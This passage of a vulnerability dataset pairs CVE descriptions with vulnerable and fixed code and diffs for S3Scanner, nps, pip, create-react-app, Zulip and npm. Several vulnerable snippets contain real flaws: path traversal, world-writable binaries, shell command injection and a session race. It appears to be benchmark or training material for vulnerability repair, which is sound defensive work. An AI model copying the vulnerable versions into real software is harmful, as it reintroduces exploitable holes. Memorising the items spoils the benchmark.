        return\n        if dest_file_path.exists():\n            if dest_file_path.stat().st_size == obj.size:\n                if verbose:\n                    print(f\"{bucket.name} | Skipping {obj.key} - already downloaded\")\n                return\n            else:\n                if verbose:\n                    print(f\"{bucket.name} | Re-downloading {obj.key} - local size differs from remote\")\n        else:\n            if verbose:\n                print(f\"{bucket.name} | Downloading {obj.key}\")\n        dest_file_path.parent.mkdir(parents=True, exist_ok=True)  # Equivalent to `mkdir -p`\n        self.s3_client.download_file(bucket.name, obj.key, str(dest_file_path))"}, {"id": "fix_py_184_2", "commit": "fafa30a", "file_path": "S3Scanner/S3Service.py", "start_line": 350, "end_line": 362, "snippet": "    def is_safe_file_to_download(self, file_to_check, dest_directory):\n        \"\"\"\n        Check if bucket object would be saved outside of `dest_directory` if downloaded.\n        AWS allows object keys to include relative path characters like '../' which can lead to a \n        path traversal-like issue where objects get saved outside of the intended directory.\n\n        :param string file_to_check: Bucket object key\n        :param string dest_directory: Path to directory to save file in\n        :return: bool\n        \"\"\"\n        file_to_check = os.path.abspath(os.path.join(dest_directory, file_to_check))\n        safe_dir = os.path.abspath(dest_directory)\n        return os.path.commonpath([safe_dir]) == os.path.commonpath([safe_dir, file_to_check])"}], "vul_patch": "--- a/S3Scanner/S3Service.py\n+++ b/S3Scanner/S3Service.py\n@@ -2,13 +2,17 @@\n         \"\"\"\n         Download `obj` from `bucket` into `dest_directory`\n \n-        :param str dest_directory: Directory to store the object into\n+        :param str dest_directory: Directory to store the object into. _Must_ end in a slash\n         :param S3Bucket bucket: Bucket to download the object from\n         :param bool verbose: Output verbose messages to the user\n         :param S3BucketObject obj: Object to downlaod\n         :return: None\n         \"\"\"\n-        dest_file_path = pathlib.Path(normpath(dest_directory + obj.key))\n+        dest_file_path = pathlib.Path(os.path.normpath(os.path.join(dest_directory, obj.key)))\n+\n+        if not self.is_safe_file_to_download(obj.key, dest_directory):\n+            print(f\"{bucket.name} | Skipping file {obj.key}. File references a parent directory.\")\n+            return\n         if dest_file_path.exists():\n             if dest_file_path.stat().st_size == obj.size:\n                 if verbose:\n\n--- /dev/null\n+++ b/S3Scanner/S3Service.py\n@@ -0,0 +1,13 @@\n+    def is_safe_file_to_download(self, file_to_check, dest_directory):\n+        \"\"\"\n+        Check if bucket object would be saved outside of `dest_directory` if downloaded.\n+        AWS allows object keys to include relative path characters like '../' which can lead to a \n+        path traversal-like issue where objects get saved outside of the intended directory.\n+\n+        :param string file_to_check: Bucket object key\n+        :param string dest_directory: Path to directory to save file in\n+        :return: bool\n+        \"\"\"\n+        file_to_check = os.path.abspath(os.path.join(dest_directory, file_to_check))\n+        safe_dir = os.path.abspath(dest_directory)\n+        return os.path.commonpath([safe_dir]) == os.path.commonpath([safe_dir, file_to_check])\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-15119", "cve_description": "lib/install/install.go in cnlh nps through 0.23.2 uses 0777 permissions for /usr/local/bin/nps and/or /usr/bin/nps, leading to a file overwrite by a local user.", "cwe_info": {"CWE-732": {"name": "Incorrect Permission Assignment for Critical Resource", "description": "The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors."}}, "repo": "https://github.com/cnlh/nps", "patch_url": ["https://github.com/cnlh/nps/commit/7178b3380720e910d283036a8d39879a94105515"], "programing_language": "Go", "vul_func": [{"id": "vul_go_210_1", "commit": "25e7179", "file_path": "lib/install/install.go", "start_line": 14, "end_line": 53, "snippet": "func InstallNps() {\n\tpath := common.GetInstallPath()\n\tif common.FileExists(path) {\n\t\tlog.Fatalf(\"the path %s has exist, does not support install\", path)\n\t}\n\tMkidrDirAll(path, \"conf\", \"web/static\", \"web/views\")\n\t//\\u590d\\u5236\\u6587\\u4ef6\\u5230\\u5bf9\\u5e94\\u76ee\\u5f55\n\tif err := CopyDir(filepath.Join(common.GetAppPath(), \"web\", \"views\"), filepath.Join(path, \"web\", \"views\")); err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tif err := CopyDir(filepath.Join(common.GetAppPath(), \"web\", \"static\"), filepath.Join(path, \"web\", \"static\")); err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tif err := CopyDir(filepath.Join(common.GetAppPath(), \"conf\"), filepath.Join(path, \"conf\")); err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tif !common.IsWindows() {\n\t\tif _, err := copyFile(filepath.Join(common.GetAppPath(), \"nps\"), \"/usr/bin/nps\"); err != nil {\n\t\t\tif _, err := copyFile(filepath.Join(common.GetAppPath(), \"nps\"), \"/usr/local/bin/nps\"); err != nil {\n\t\t\t\tlog.Fatalln(err)\n\t\t\t} else {\n\t\t\t\tos.Chmod(\"/usr/local/bin/nps\", 0777)\n\t\t\t\tlog.Println(\"Executable files have been copied to\", \"/usr/local/bin/nps\")\n\t\t\t}\n\t\t} else {\n\t\t\tos.Chmod(\"/usr/bin/nps\", 0777)\n\t\t\tlog.Println(\"Executable files have been copied to\", \"/usr/bin/nps\")\n\t\t}\n\n\t}\n\tlog.Println(\"install ok!\")\n\tlog.Println(\"Static files and configuration files in the current directory will be useless\")\n\tlog.Println(\"The new configuration file is located in\", path, \"you can edit them\")\n\tif !common.IsWindows() {\n\t\tlog.Println(\"You can start with nps test|start|stop|restart|status anywhere\")\n\t} else {\n\t\tlog.Println(\"You can copy executable files to any directory and start working with nps.exe test|start|stop|restart|status\")\n\t}\n}"}], "fix_func": [{"id": "fix_go_210_1", "commit": "7178b3380720e910d283036a8d39879a94105515", "file_path": "lib/install/install.go", "start_line": 14, "end_line": 53, "snippet": "func InstallNps() {\n\tpath := common.GetInstallPath()\n\tif common.FileExists(path) {\n\t\tlog.Fatalf(\"the path %s has exist, does not support install\", path)\n\t}\n\tMkidrDirAll(path, \"conf\", \"web/static\", \"web/views\")\n\t//\\u590d\\u5236\\u6587\\u4ef6\\u5230\\u5bf9\\u5e94\\u76ee\\u5f55\n\tif err := CopyDir(filepath.Join(common.GetAppPath(), \"web\", \"views\"), filepath.Join(path, \"web\", \"views\")); err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tif err := CopyDir(filepath.Join(common.GetAppPath(), \"web\", \"static\"), filepath.Join(path, \"web\", \"static\")); err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tif err := CopyDir(filepath.Join(common.GetAppPath(), \"conf\"), filepath.Join(path, \"conf\")); err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tif !common.IsWindows() {\n\t\tif _, err := copyFile(filepath.Join(common.GetAppPath(), \"nps\"), \"/usr/bin/nps\"); err != nil {\n\t\t\tif _, err := copyFile(filepath.Join(common.GetAppPath(), \"nps\"), \"/usr/local/bin/nps\"); err != nil {\n\t\t\t\tlog.Fatalln(err)\n\t\t\t} else {\n\t\t\t\tos.Chmod(\"/usr/local/bin/nps\", 0755)\n\t\t\t\tlog.Println(\"Executable files have been copied to\", \"/usr/local/bin/nps\")\n\t\t\t}\n\t\t} else {\n\t\t\tos.Chmod(\"/usr/bin/nps\", 0755)\n\t\t\tlog.Println(\"Executable files have been copied to\", \"/usr/bin/nps\")\n\t\t}\n\n\t}\n\tlog.Println(\"install ok!\")\n\tlog.Println(\"Static files and configuration files in the current directory will be useless\")\n\tlog.Println(\"The new configuration file is located in\", path, \"you can edit them\")\n\tif !common.IsWindows() {\n\t\tlog.Println(\"You can start with nps test|start|stop|restart|status anywhere\")\n\t} else {\n\t\tlog.Println(\"You can copy executable files to any directory and start working with nps.exe test|start|stop|restart|status\")\n\t}\n}"}], "vul_patch": "--- a/lib/install/install.go\n+++ b/lib/install/install.go\n@@ -20,11 +20,11 @@\n \t\t\tif _, err := copyFile(filepath.Join(common.GetAppPath(), \"nps\"), \"/usr/local/bin/nps\"); err != nil {\n \t\t\t\tlog.Fatalln(err)\n \t\t\t} else {\n-\t\t\t\tos.Chmod(\"/usr/local/bin/nps\", 0777)\n+\t\t\t\tos.Chmod(\"/usr/local/bin/nps\", 0755)\n \t\t\t\tlog.Println(\"Executable files have been copied to\", \"/usr/local/bin/nps\")\n \t\t\t}\n \t\t} else {\n-\t\t\tos.Chmod(\"/usr/bin/nps\", 0777)\n+\t\t\tos.Chmod(\"/usr/bin/nps\", 0755)\n \t\t\tlog.Println(\"Executable files have been copied to\", \"/usr/bin/nps\")\n \t\t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-20916", "cve_description": "The pip package before 19.2 for Python allows Directory Traversal when a URL is given in an install command, because a Content-Disposition header can have ../ in a filename, as demonstrated by overwriting the /root/.ssh/authorized_keys file. This occurs in _download_http_url in _internal/download.py.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gzpan123/pip", "patch_url": ["https://github.com/gzpan123/pip/commit/a4c735b14a62f9cb864533808ac63936704f2ace"], "programing_language": "Python", "vul_func": [{"id": "vul_py_330_1", "commit": "9c8b2ea", "file_path": "src/pip/_internal/download.py", "start_line": 65, "end_line": 69, "snippet": "__all__ = ['get_file_content',\n           'is_url', 'url_to_path', 'path_to_url',\n           'is_archive_file', 'unpack_vcs_link',\n           'unpack_file_url', 'is_vcs_url', 'is_file_url',\n           'unpack_http_url', 'unpack_url']"}, {"id": "vul_py_330_2", "commit": "9c8b2ea", "file_path": "src/pip/_internal/download.py", "start_line": 1053, "end_line": 1116, "snippet": "def _download_http_url(\n    link,  # type: Link\n    session,  # type: PipSession\n    temp_dir,  # type: str\n    hashes,  # type: Hashes\n    progress_bar  # type: str\n):\n    # type: (...) -> Tuple[str, str]\n    \"\"\"Download link url into temp_dir using provided session\"\"\"\n    target_url = link.url.split('#', 1)[0]\n    try:\n        resp = session.get(\n            target_url,\n            # We use Accept-Encoding: identity here because requests\n            # defaults to accepting compressed responses. This breaks in\n            # a variety of ways depending on how the server is configured.\n            # - Some servers will notice that the file isn't a compressible\n            #   file and will leave the file alone and with an empty\n            #   Content-Encoding\n            # - Some servers will notice that the file is already\n            #   compressed and will leave the file alone and will add a\n            #   Content-Encoding: gzip header\n            # - Some servers won't notice anything at all and will take\n            #   a file that's already been compressed and compress it again\n            #   and set the Content-Encoding: gzip header\n            # By setting this to request only the identity encoding We're\n            # hoping to eliminate the third case. Hopefully there does not\n            # exist a server which when given a file will notice it is\n            # already compressed and that you're not asking for a\n            # compressed file and will then decompress it before sending\n            # because if that's the case I don't think it'll ever be\n            # possible to make this work.\n            headers={\"Accept-Encoding\": \"identity\"},\n            stream=True,\n        )\n        resp.raise_for_status()\n    except requests.HTTPError as exc:\n        logger.critical(\n            \"HTTP error %s while getting %s\", exc.response.status_code, link,\n        )\n        raise\n\n    content_type = resp.headers.get('content-type', '')\n    filename = link.filename  # fallback\n    # Have a look at the Content-Disposition header for a better guess\n    content_disposition = resp.headers.get('content-disposition')\n    if content_disposition:\n        type, params = cgi.parse_header(content_disposition)\n        # We use ``or`` here because we don't want to use an \"empty\" value\n        # from the filename param.\n        filename = params.get('filename') or filename\n    ext = splitext(filename)[1]\n    if not ext:\n        ext = mimetypes.guess_extension(content_type)\n        if ext:\n            filename += ext\n    if not ext and link.url != resp.url:\n        ext = os.path.splitext(resp.url)[1]\n        if ext:\n            filename += ext\n    file_path = os.path.join(temp_dir, filename)\n    with open(file_path, 'wb') as content_file:\n        _download_url(resp, link, content_file, hashes, progress_bar)\n    return file_path, content_type"}], "fix_func": [{"id": "fix_py_330_1", "commit": "a4c735b14a62f9cb864533808ac63936704f2ace", "file_path": "src/pip/_internal/download.py", "start_line": 65, "end_line": 70, "snippet": "__all__ = ['get_file_content',\n           'is_url', 'url_to_path', 'path_to_url',\n           'is_archive_file', 'unpack_vcs_link',\n           'unpack_file_url', 'is_vcs_url', 'is_file_url',\n           'unpack_http_url', 'unpack_url',\n           'parse_content_disposition', 'sanitize_content_filename']"}, {"id": "fix_py_330_2", "commit": "a4c735b14a62f9cb864533808ac63936704f2ace", "file_path": "src/pip/_internal/download.py", "start_line": 1077, "end_line": 1137, "snippet": "def _download_http_url(\n    link,  # type: Link\n    session,  # type: PipSession\n    temp_dir,  # type: str\n    hashes,  # type: Hashes\n    progress_bar  # type: str\n):\n    # type: (...) -> Tuple[str, str]\n    \"\"\"Download link url into temp_dir using provided session\"\"\"\n    target_url = link.url.split('#', 1)[0]\n    try:\n        resp = session.get(\n            target_url,\n            # We use Accept-Encoding: identity here because requests\n            # defaults to accepting compressed responses. This breaks in\n            # a variety of ways depending on how the server is configured.\n            # - Some servers will notice that the file isn't a compressible\n            #   file and will leave the file alone and with an empty\n            #   Content-Encoding\n            # - Some servers will notice that the file is already\n            #   compressed and will leave the file alone and will add a\n            #   Content-Encoding: gzip header\n            # - Some servers won't notice anything at all and will take\n            #   a file that's already been compressed and compress it again\n            #   and set the Content-Encoding: gzip header\n            # By setting this to request only the identity encoding We're\n            # hoping to eliminate the third case. Hopefully there does not\n            # exist a server which when given a file will notice it is\n            # already compressed and that you're not asking for a\n            # compressed file and will then decompress it before sending\n            # because if that's the case I don't think it'll ever be\n            # possible to make this work.\n            headers={\"Accept-Encoding\": \"identity\"},\n            stream=True,\n        )\n        resp.raise_for_status()\n    except requests.HTTPError as exc:\n        logger.critical(\n            \"HTTP error %s while getting %s\", exc.response.status_code, link,\n        )\n        raise\n\n    content_type = resp.headers.get('content-type', '')\n    filename = link.filename  # fallback\n    # Have a look at the Content-Disposition header for a better guess\n    content_disposition = resp.headers.get('content-disposition')\n    if content_disposition:\n        filename = parse_content_disposition(content_disposition, filename)\n    ext = splitext(filename)[1]\n    if not ext:\n        ext = mimetypes.guess_extension(content_type)\n        if ext:\n            filename += ext\n    if not ext and link.url != resp.url:\n        ext = os.path.splitext(resp.url)[1]\n        if ext:\n            filename += ext\n    file_path = os.path.join(temp_dir, filename)\n    with open(file_path, 'wb') as content_file:\n        _download_url(resp, link, content_file, hashes, progress_bar)\n    return file_path, content_type"}, {"id": "fix_py_330_3", "commit": "a4c735b14a62f9cb864533808ac63936704f2ace", "file_path": "src/pip/_internal/download.py", "start_line": 1054, "end_line": 1059, "snippet": "def sanitize_content_filename(filename):\n    # type: (str) -> str\n    \"\"\"\n    Sanitize the \"filename\" value from a Content-Disposition header.\n    \"\"\"\n    return os.path.basename(filename)"}, {"id": "fix_py_330_4", "commit": "a4c735b14a62f9cb864533808ac63936704f2ace", "file_path": "src/pip/_internal/download.py", "start_line": 1052, "end_line": 1076, "snippet": "\n\ndef sanitize_content_filename(filename):\n    # type: (str) -> str\n    \"\"\"\n    Sanitize the \"filename\" value from a Content-Disposition header.\n    \"\"\"\n    return os.path.basename(filename)\n\n\ndef parse_content_disposition(content_disposition, default_filename):\n    # type: (str, str) -> str\n    \"\"\"\n    Parse the \"filename\" value from a Content-Disposition header, and\n    return the default filename if the result is empty.\n    \"\"\"\n    _type, params = cgi.parse_header(content_disposition)\n    filename = params.get('filename')\n    if filename:\n        # We need to sanitize the filename to prevent directory traversal\n        # in case the filename contains \"..\" path parts.\n        filename = sanitize_content_filename(filename)\n    return filename or default_filename\n\n"}], "vul_patch": "--- a/src/pip/_internal/download.py\n+++ b/src/pip/_internal/download.py\n@@ -2,4 +2,5 @@\n            'is_url', 'url_to_path', 'path_to_url',\n            'is_archive_file', 'unpack_vcs_link',\n            'unpack_file_url', 'is_vcs_url', 'is_file_url',\n-           'unpack_http_url', 'unpack_url']\n+           'unpack_http_url', 'unpack_url',\n+           'parse_content_disposition', 'sanitize_content_filename']\n\n--- a/src/pip/_internal/download.py\n+++ b/src/pip/_internal/download.py\n@@ -45,10 +45,7 @@\n     # Have a look at the Content-Disposition header for a better guess\n     content_disposition = resp.headers.get('content-disposition')\n     if content_disposition:\n-        type, params = cgi.parse_header(content_disposition)\n-        # We use ``or`` here because we don't want to use an \"empty\" value\n-        # from the filename param.\n-        filename = params.get('filename') or filename\n+        filename = parse_content_disposition(content_disposition, filename)\n     ext = splitext(filename)[1]\n     if not ext:\n         ext = mimetypes.guess_extension(content_type)\n\n--- /dev/null\n+++ b/src/pip/_internal/download.py\n@@ -0,0 +1,6 @@\n+def sanitize_content_filename(filename):\n+    # type: (str) -> str\n+    \"\"\"\n+    Sanitize the \"filename\" value from a Content-Disposition header.\n+    \"\"\"\n+    return os.path.basename(filename)\n\n--- /dev/null\n+++ b/src/pip/_internal/download.py\n@@ -0,0 +1,24 @@\n+\n+\n+def sanitize_content_filename(filename):\n+    # type: (str) -> str\n+    \"\"\"\n+    Sanitize the \"filename\" value from a Content-Disposition header.\n+    \"\"\"\n+    return os.path.basename(filename)\n+\n+\n+def parse_content_disposition(content_disposition, default_filename):\n+    # type: (str, str) -> str\n+    \"\"\"\n+    Parse the \"filename\" value from a Content-Disposition header, and\n+    return the default filename if the result is empty.\n+    \"\"\"\n+    _type, params = cgi.parse_header(content_disposition)\n+    filename = params.get('filename')\n+    if filename:\n+        # We need to sanitize the filename to prevent directory traversal\n+        # in case the filename contains \"..\" path parts.\n+        filename = sanitize_content_filename(filename)\n+    return filename or default_filename\n+\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-24033", "cve_description": "react-dev-utils prior to v11.0.4 exposes a function, getProcessForPort, where an input argument is concatenated into a command string to be executed. This function is typically used from react-scripts (in Create React App projects), where the usage is safe. Only when this function is manually invoked with user-provided values (ie: by custom code) is there the potential for command injection. If you're consuming it from react-scripts then this issue does not affect you.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/facebook/create-react-app", "patch_url": ["https://github.com/facebook/create-react-app/commit/f5e415f3a5b66f07dcc60aba1b445fa7cda97268"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_279_1", "commit": "22f46a8d5dfc46fe0f613cd7efbc82344823f461", "file_path": "packages/react-dev-utils/getProcessForPort.js", "start_line": 27, "end_line": 31, "snippet": "function getProcessIdOnPort(port) {\n  return execSync('lsof -i:' + port + ' -P -t -sTCP:LISTEN', execOptions)\n    .split('\\n')[0]\n    .trim();\n}"}], "fix_func": [{"id": "fix_js_279_1", "commit": "f5e415f3a5b66f07dcc60aba1b445fa7cda97268", "file_path": "packages/react-dev-utils/getProcessForPort.js", "start_line": 28, "end_line": 32, "snippet": "function getProcessIdOnPort(port) {\n  return execFileSync('lsof', ['-i:' + port, '-P', '-t', '-sTCP:LISTEN'], execOptions)\n    .split('\\n')[0]\n    .trim();\n}"}], "vul_patch": "--- a/packages/react-dev-utils/getProcessForPort.js\n+++ b/packages/react-dev-utils/getProcessForPort.js\n@@ -1,5 +1,5 @@\n function getProcessIdOnPort(port) {\n-  return execSync('lsof -i:' + port + ' -P -t -sTCP:LISTEN', execOptions)\n+  return execFileSync('lsof', ['-i:' + port, '-P', '-t', '-sTCP:LISTEN'], execOptions)\n     .split('\\n')[0]\n     .trim();\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-24751", "cve_description": "Zulip is an open source group chat application. Starting with version 4.0 and prior to version 4.11, Zulip is vulnerable to a race condition during account deactivation, where a simultaneous access by the user being deactivated may, in rare cases, allow continued access by the deactivated user. A patch is available in version 4.11 on the 4.x branch and version 5.0-rc1 on the 5.x branch. Upgrading to a fixed version will, as a side effect, deactivate any cached sessions that may have been leaked through this bug. There are currently no known workarounds.", "cwe_info": {"CWE-362": {"name": "Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')", "description": "The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently."}}, "repo": "https://github.com/zulip/zulip", "patch_url": ["https://github.com/zulip/zulip/commit/62ba8e455d8f460001d9fb486a6dabfd1ed67717"], "programing_language": "Python", "vul_func": [{"id": "vul_py_424_1", "commit": "7650b5a", "file_path": "zerver/lib/actions.py", "start_line": 1390, "end_line": 1457, "snippet": "def do_deactivate_user(\n    user_profile: UserProfile, _cascade: bool = True, *, acting_user: Optional[UserProfile]\n) -> None:\n    if not user_profile.is_active:\n        return\n\n    if _cascade:\n        # We need to deactivate bots before the target user, to ensure\n        # that a failure partway through this function cannot result\n        # in only the user being deactivated.\n        bot_profiles = get_active_bots_owned_by_user(user_profile)\n        for profile in bot_profiles:\n            do_deactivate_user(profile, _cascade=False, acting_user=acting_user)\n\n    with transaction.atomic():\n        if user_profile.realm.is_zephyr_mirror_realm:  # nocoverage\n            # For zephyr mirror users, we need to make them a mirror dummy\n            # again; otherwise, other users won't get the correct behavior\n            # when trying to send messages to this person inside Zulip.\n            #\n            # Ideally, we need to also ensure their zephyr mirroring bot\n            # isn't running, but that's a separate issue.\n            user_profile.is_mirror_dummy = True\n            user_profile.save(update_fields=[\"is_mirror_dummy\"])\n\n        change_user_is_active(user_profile, False)\n\n        delete_user_sessions(user_profile)\n        clear_scheduled_emails(user_profile.id)\n        revoke_invites_generated_by_user(user_profile)\n\n        event_time = timezone_now()\n        RealmAuditLog.objects.create(\n            realm=user_profile.realm,\n            modified_user=user_profile,\n            acting_user=acting_user,\n            event_type=RealmAuditLog.USER_DEACTIVATED,\n            event_time=event_time,\n            extra_data=orjson.dumps(\n                {\n                    RealmAuditLog.ROLE_COUNT: realm_user_count_by_role(user_profile.realm),\n                }\n            ).decode(),\n        )\n        do_increment_logging_stat(\n            user_profile.realm,\n            COUNT_STATS[\"active_users_log:is_bot:day\"],\n            user_profile.is_bot,\n            event_time,\n            increment=-1,\n        )\n        if settings.BILLING_ENABLED:\n            update_license_ledger_if_needed(user_profile.realm, event_time)\n\n    event = dict(\n        type=\"realm_user\",\n        op=\"remove\",\n        person=dict(user_id=user_profile.id, full_name=user_profile.full_name),\n    )\n    send_event(user_profile.realm, event, active_user_ids(user_profile.realm_id))\n\n    if user_profile.is_bot:\n        event = dict(\n            type=\"realm_bot\",\n            op=\"remove\",\n            bot=dict(user_id=user_profile.id, full_name=user_profile.full_name),\n        )\n        send_event(user_profile.realm, event, bot_owner_user_ids(user_profile))"}], "fix_func": [{"id": "fix_py_424_1", "commit": "62ba8e455d8f460001d9fb486a6dabfd1ed67717", "file_path": "zerver/lib/actions.py", "start_line": 1390, "end_line": 1457, "snippet": "def do_deactivate_user(\n    user_profile: UserProfile, _cascade: bool = True, *, acting_user: Optional[UserProfile]\n) -> None:\n    if not user_profile.is_active:\n        return\n\n    if _cascade:\n        # We need to deactivate bots before the target user, to ensure\n        # that a failure partway through this function cannot result\n        # in only the user being deactivated.\n        bot_profiles = get_active_bots_owned_by_user(user_profile)\n        for profile in bot_profiles:\n            do_deactivate_user(profile, _cascade=False, acting_user=acting_user)\n\n    with transaction.atomic():\n        if user_profile.realm.is_zephyr_mirror_realm:  # nocoverage\n            # For zephyr mirror users, we need to make them a mirror dummy\n            # again; otherwise, other users won't get the correct behavior\n            # when trying to send messages to this person inside Zulip.\n            #\n            # Ideally, we need to also ensure their zephyr mirroring bot\n            # isn't running, but that's a separate issue.\n            user_profile.is_mirror_dummy = True\n            user_profile.save(update_fields=[\"is_mirror_dummy\"])\n\n        change_user_is_active(user_profile, False)\n\n        clear_scheduled_emails(user_profile.id)\n        revoke_invites_generated_by_user(user_profile)\n\n        event_time = timezone_now()\n        RealmAuditLog.objects.create(\n            realm=user_profile.realm,\n            modified_user=user_profile,\n            acting_user=acting_user,\n            event_type=RealmAuditLog.USER_DEACTIVATED,\n            event_time=event_time,\n            extra_data=orjson.dumps(\n                {\n                    RealmAuditLog.ROLE_COUNT: realm_user_count_by_role(user_profile.realm),\n                }\n            ).decode(),\n        )\n        do_increment_logging_stat(\n            user_profile.realm,\n            COUNT_STATS[\"active_users_log:is_bot:day\"],\n            user_profile.is_bot,\n            event_time,\n            increment=-1,\n        )\n        if settings.BILLING_ENABLED:\n            update_license_ledger_if_needed(user_profile.realm, event_time)\n\n    delete_user_sessions(user_profile)\n    event = dict(\n        type=\"realm_user\",\n        op=\"remove\",\n        person=dict(user_id=user_profile.id, full_name=user_profile.full_name),\n    )\n    send_event(user_profile.realm, event, active_user_ids(user_profile.realm_id))\n\n    if user_profile.is_bot:\n        event = dict(\n            type=\"realm_bot\",\n            op=\"remove\",\n            bot=dict(user_id=user_profile.id, full_name=user_profile.full_name),\n        )\n        send_event(user_profile.realm, event, bot_owner_user_ids(user_profile))"}], "vul_patch": "--- a/zerver/lib/actions.py\n+++ b/zerver/lib/actions.py\n@@ -25,7 +25,6 @@\n \n         change_user_is_active(user_profile, False)\n \n-        delete_user_sessions(user_profile)\n         clear_scheduled_emails(user_profile.id)\n         revoke_invites_generated_by_user(user_profile)\n \n@@ -52,6 +51,7 @@\n         if settings.BILLING_ENABLED:\n             update_license_ledger_if_needed(user_profile.realm, event_time)\n \n+    delete_user_sessions(user_profile)\n     event = dict(\n         type=\"realm_user\",\n         op=\"remove\",\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-3956", "cve_description": "The CLI in npm before 2.15.1 and 3.x before 3.8.3, as used in Node.js 0.10 before 0.10.44, 0.12 before 0.12.13, 4 before 4.4.2, and 5 before 5.10.0, includes bearer tokens with arbitrary requests, which allows remote HTTP servers to obtain sensitive information by reading Authorization headers.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/npm/npm", "patch_url": ["https://github.com/npm/npm/commit/f67ecad59e99a03e5aad8e93cd1a086ae087cb29"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_262_1", "commit": "ffa428a", "file_path": "lib/cache.js", "start_line": 240, "end_line": 304, "snippet": "function add (args, where, cb) {\n  // this is hot code.  almost everything passes through here.\n  // the args can be any of:\n  // ['url']\n  // ['pkg', 'version']\n  // ['pkg@version']\n  // ['pkg', 'url']\n  // This is tricky, because urls can contain @\n  // Also, in some cases we get [name, null] rather\n  // that just a single argument.\n\n  var usage = 'Usage:\\n' +\n              '    npm cache add <tarball-url>\\n' +\n              '    npm cache add <pkg>@<ver>\\n' +\n              '    npm cache add <tarball>\\n' +\n              '    npm cache add <folder>\\n'\n  var spec\n\n  log.silly('cache add', 'args', args)\n\n  if (args[1] === undefined) args[1] = null\n\n  // at this point the args length must ==2\n  if (args[1] !== null) {\n    spec = args[0] + '@' + args[1]\n  } else if (args.length === 2) {\n    spec = args[0]\n  }\n\n  log.verbose('cache add', 'spec', spec)\n\n  if (!spec) return cb(usage)\n\n  adding++\n  cb = afterAdd(cb)\n\n  realizePackageSpecifier(spec, where, function (err, p) {\n    if (err) return cb(err)\n\n    log.silly('cache add', 'parsed spec', p)\n\n    switch (p.type) {\n      case 'local':\n      case 'directory':\n        addLocal(p, null, cb)\n        break\n      case 'remote':\n        // get auth, if possible\n        mapToRegistry(spec, npm.config, function (err, uri, auth) {\n          if (err) return cb(err)\n\n          addRemoteTarball(p.spec, { name: p.name }, null, auth, cb)\n        })\n        break\n      case 'git':\n      case 'hosted':\n        addRemoteGit(p.rawSpec, cb)\n        break\n      default:\n        if (p.name) return addNamed(p.name, p.spec, null, cb)\n\n        cb(new Error(\"couldn't figure out how to install \" + spec))\n    }\n  })\n}"}, {"id": "vul_js_262_2", "commit": "ffa428a", "file_path": "lib/config/get-credentials-by-uri.js", "start_line": 7, "end_line": 73, "snippet": "function getCredentialsByURI (uri) {\n  assert(uri && typeof uri === 'string', 'registry URL is required')\n  var nerfed = toNerfDart(uri)\n  var defnerf = toNerfDart(this.get('registry'))\n\n  // hidden class micro-optimization\n  var c = {\n    scope: nerfed,\n    token: undefined,\n    password: undefined,\n    username: undefined,\n    email: undefined,\n    auth: undefined,\n    alwaysAuth: undefined\n  }\n\n  if (this.get(nerfed + ':_authToken')) {\n    c.token = this.get(nerfed + ':_authToken')\n    // the bearer token is enough, don't confuse things\n    return c\n  }\n\n  // Handle the old-style _auth=<base64> style for the default\n  // registry, if set.\n  //\n  // XXX(isaacs): Remove when npm 1.4 is no longer relevant\n  var authDef = this.get('_auth')\n  var userDef = this.get('username')\n  var passDef = this.get('_password')\n  if (authDef && !(userDef && passDef)) {\n    authDef = new Buffer(authDef, 'base64').toString()\n    authDef = authDef.split(':')\n    userDef = authDef.shift()\n    passDef = authDef.join(':')\n  }\n\n  if (this.get(nerfed + ':_password')) {\n    c.password = new Buffer(this.get(nerfed + ':_password'), 'base64').toString('utf8')\n  } else if (nerfed === defnerf && passDef) {\n    c.password = passDef\n  }\n\n  if (this.get(nerfed + ':username')) {\n    c.username = this.get(nerfed + ':username')\n  } else if (nerfed === defnerf && userDef) {\n    c.username = userDef\n  }\n\n  if (this.get(nerfed + ':email')) {\n    c.email = this.get(nerfed + ':email')\n  } else if (this.get('email')) {\n    c.email = this.get('email')\n  }\n\n  if (this.get(nerfed + ':always-auth') !== undefined) {\n    var val = this.get(nerfed + ':always-auth')\n    c.alwaysAuth = val === 'false' ? false : !!val\n  